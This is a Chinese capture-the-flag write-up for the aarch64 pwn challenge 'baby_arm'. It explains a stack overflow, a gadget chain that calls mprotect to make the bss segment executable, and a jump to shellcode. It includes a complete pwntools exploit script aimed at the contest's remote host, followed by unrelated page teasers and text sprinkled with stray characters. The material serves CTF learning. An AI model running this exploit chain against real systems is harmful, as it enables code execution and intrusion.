[第四屆上海市大學(xué)生網(wǎng)絡(luò)安全大賽] baby_arm

  • 題目是道aarch64的pwn題氓皱,有關(guān)環(huán)境搭建之前的文章有講蜒车,然后開了NX,后面打遠程的時候發(fā)現(xiàn)也確實開了NX
  • 程序主要就是兩個read函數(shù)寫闯袒,第一個往bss段寫虎敦,第二個往棧上寫,并且可以棧溢出政敢,這里一看就是rop但是我們沒有l(wèi)ibc其徙,然后發(fā)現(xiàn)程序有個mprotect函數(shù),所以利用思路可以是往bss寫shellcode然后利用棧溢出執(zhí)行mprotect讓bss段可以執(zhí)行喷户,然后再跳轉(zhuǎn)到我們的bss段執(zhí)行shellcode
include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

// 對存儲映射區(qū)保護要求 1唾那、PROT_READ 2、PROT_WRITE 3褪尝、PROT_EXEC 4闹获、PROT_NONE
mprotect()函數(shù)把自start開始的、長度為len的內(nèi)存區(qū)的保護屬性修改為prot指定的值河哑。

prot可以取以下幾個值避诽,并且可以用“|”將幾個屬性合起來使用:

1)PROT_READ:表示內(nèi)存段內(nèi)的內(nèi)容可寫;

2)PROT_WRITE:表示內(nèi)存段內(nèi)的內(nèi)容可讀璃谨;

3)PROT_EXEC:表示內(nèi)存段中的內(nèi)容可執(zhí)行沙庐;

4)PROT_NONE:表示內(nèi)存段中的內(nèi)容根本沒法訪問。

需要指出的是佳吞,指定的內(nèi)存區(qū)間必須包含整個內(nèi)存頁(4K)拱雏。區(qū)間開始的地址start必須是一個內(nèi)存頁的起始地址,并且區(qū)間長度len必須是頁大小的整數(shù)倍底扳。

  • 這里的關(guān)鍵點是利用gadget執(zhí)行mprotect(0x411000, 0x1000, 5);古涧,這里程序有個像linux x86_64位下通用gadget的gadget
  • 函數(shù)loc_4008CC可以讓我們控制x19,x20,x21,x22,x23,x24,x29,x30寄存器的值,然后通過loc_4008AC函數(shù)我們進而控制r0,r1,r2,x3從而達到call x3花盐,最后再ret到下一個函數(shù)
loc_4008AC
            LDR X3, [X21,X19,LSL#3]  #將X21寄存器指向的內(nèi)容給X3寄存器
            MOV X2, X22              #將X22寄存器的值給X2寄存器
            MOV X1, X23              #將X23寄存器的值給X1寄存器
            MOV W0, W24              #將W24寄存器的值給W0寄存器
            ADD X19, X19, #1         #X19寄存器的值+1
            BLR X3                   #執(zhí)行call X3
            CMP X19, X20             #比較X19寄存器和X20寄存器的值羡滑,若不想等則跳轉(zhuǎn)到loc_4008AC
            B.NE loc_400AC

loc_4008CC 
            LDP X19, X20, [SP,#0x10]    #將SP+0x10,SP+0x18給X19,X20寄存器
            LDP X21, X22, [SP,#0x20]    #將SP+0x20,SP+0x28給X21,X22寄存器
            LDP X23, X24, [SP,#0X30]    #將SP+0x30,SP+0x38給X23,X24寄存器
            LDP X29, X30, [SP+0],#0X40  #將SP,SP+8給X29,X30寄存器并抬高棧64字節(jié)
                    
  • 所以我們ret到loc_4008CC的時候可以布置棧如下菇爪,然后當(dāng)執(zhí)行完loc_4008CC函數(shù)時,就會ret到X30寄存器的值即loc_4008AC柒昏,當(dāng)執(zhí)行到BLR X3時相當(dāng)于執(zhí)行mprotect(0x411000, 0x1000, 5)凳宙,然后判斷X19和X20是否相等,因為我們提前布置好了所以會繼續(xù)往下執(zhí)行到ret返回到0x411068(我們的shellcode處)职祷,0x411168在我們第一次往bss段寫的時候已經(jīng)寫入了mprotect@plt的地址
$SP-->  │+0x00: 0x0000000000000000   --> X29  
        │+0x08: 0x00000000004008ac   --> X30  
        │+0x10: 0x0000000000000000   --> X19  
        │+0x18: 0x0000000000000001   --> X20
        |+0x20: 0x0000000000411168  -> mprotect@plt  --> X21
        │+0x28: 0x0000000000000005   --> X22  --> X2
        │+0x30: 0x0000000000001000   --> X23  --> Xx
        │+0x38: 0x0000000000411000   --> X24  --> X0
        │+0x40: 0x0000000000000000    
        │+0x48: 0x0000000000411068   --> next X30
        │+0x50: 0x00000000deadbeef  
        │+0x58: 0x00000000deadbeef  
        │+0x60: 0x00000000deadbeef  
        │+0x68: 0x00000000deadbeef  
        │+0x70: 0x00000000deadbeef  
        │+0x78: 0x00000000deadbeef  
  • 第一次ret到通用gadget處
  • 執(zhí)行完loc_4008CC準(zhǔn)備ret到loc_4008AC
  • 進入loc_4008AC函數(shù)
  • 執(zhí)行mprotect(0x411000, 0x1000, 5)
  • 比較X19和X20的值氏涩,因為相等所以不跳轉(zhuǎn)往下繼續(xù)執(zhí)行
  • 經(jīng)過4個ldp命令,然后ret有梆,注意此時X30寄存器的值是我們的shellcode地址是尖,所以我們即將執(zhí)行shellcode了
  • 正在執(zhí)行shellcode,然后就能getshell了
  • 這里用pwntools生成aarch64的shellcode可能會報錯泥耀,解決方案饺汹,因為我用的deepin所以直接sudo apt-get install binutils-aarch64-linux-gnu一條命令即可,這里因為我已經(jīng)裝了痰催,然后就可以使用shellcode = asm(shellcraft.aarch64.sh()) 快樂的使用shellcode了

exp:

from pwn import *
import sys
import time
context.binary = "./arm_pwn"
binary = './arm_pwn'

if sys.argv[1] == "r":
    p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
    p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
    p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])

elf = ELF("./arm_pwn")


context.log_level = "debug"

buf = asm(shellcraft.aarch64.sh())

buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600)

p.recvuntil('Name:')
p.send(buf.ljust(512,'\x00'))

payload = 'a'*72 + p64(0x4008CC) + p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411168) + p64(5)
payload += p64(0x1000) + p64(0x411000) + p64(0) + p64(0x411068) + p64(0xdeadbeef)*6

p.send(payload)
p.interactive()
  • 成功打本地
  • 成功打遠程

參考文章:

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末兜辞,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子夸溶,更是在濱河造成了極大的恐慌逸吵,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,744評論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件缝裁,死亡現(xiàn)場離奇詭異扫皱,居然都是意外死亡,警方通過查閱死者的電腦和手機捷绑,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,505評論 3 392
  • 文/潘曉璐 我一進店門啸罢,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人胎食,你說我怎么就攤上這事扰才。” “怎么了厕怜?”我有些...
    開封第一講書人閱讀 163,105評論 0 353
  • 文/不壞的土叔 我叫張陵衩匣,是天一觀的道長。 經(jīng)常有香客問我粥航,道長琅捏,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,242評論 1 292
  • 正文 為了忘掉前任递雀,我火速辦了婚禮柄延,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己搜吧,他們只是感情好市俊,可當(dāng)我...
    茶點故事閱讀 67,269評論 6 389
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著滤奈,像睡著了一般摆昧。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上蜒程,一...
    開封第一講書人閱讀 51,215評論 1 299
  • 那天绅你,我揣著相機與錄音,去河邊找鬼昭躺。 笑死忌锯,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的领炫。 我是一名探鬼主播偶垮,決...
    沈念sama閱讀 40,096評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼驹吮!你這毒婦竟也來了针史?” 一聲冷哼從身側(cè)響起晶伦,我...
    開封第一講書人閱讀 38,939評論 0 274
  • 序言:老撾萬榮一對情侶失蹤碟狞,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后婚陪,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體族沃,經(jīng)...
    沈念sama閱讀 45,354評論 1 311
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,573評論 2 333
  • 正文 我和宋清朗相戀三年泌参,在試婚紗的時候發(fā)現(xiàn)自己被綠了脆淹。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,745評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡沽一,死狀恐怖盖溺,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情铣缠,我是刑警寧澤烘嘱,帶...
    沈念sama閱讀 35,448評論 5 344
  • 正文 年R本政府宣布,位于F島的核電站蝗蛙,受9級特大地震影響蝇庭,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜捡硅,卻給世界環(huán)境...
    茶點故事閱讀 41,048評論 3 327
  • 文/蒙蒙 一哮内、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧壮韭,春花似錦北发、人聲如沸纹因。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,683評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽辐怕。三九已至,卻和暖如春从绘,著一層夾襖步出監(jiān)牢的瞬間寄疏,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,838評論 1 269
  • 我被黑心中介騙來泰國打工僵井, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留陕截,地道東北人。 一個月前我還...
    沈念sama閱讀 47,776評論 2 369
  • 正文 我出身青樓批什,卻偏偏與公主長得像农曲,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子驻债,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,652評論 2 354

推薦閱讀更多精彩內(nèi)容

  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys閱讀 3,318評論 0 2
  • 還是和linux下溢出利用對比乳规。 開啟了DEP后,棧的內(nèi)存空間變成不可執(zhí)行合呐,無法再把shellcode布置其中然后...
    BJChangAn閱讀 1,602評論 0 0
  • 二暮的、集成tomcat 三、集成maven 四淌实、安裝testNG插件 1. testNG插件下載地址 2. 查看my...
    果芽軟件閱讀 431評論 0 3
  • 《1984》是喬治·奧威爾傳世作品拆祈,和俄國作家尤金·扎米亞金的《我們》以及英國作家赫胥黎《美麗新世界》恨闪,并...
    姚常春閱讀 1,190評論 0 6
  • 用五年后來看待目前,到底是會覺得好還是壞呢放坏!我又怎么知道呢咙咽?一生存在太多的突然,突然的得到突然的失去。在安逸和忙碌...
    Renyuanli閱讀 80評論 0 0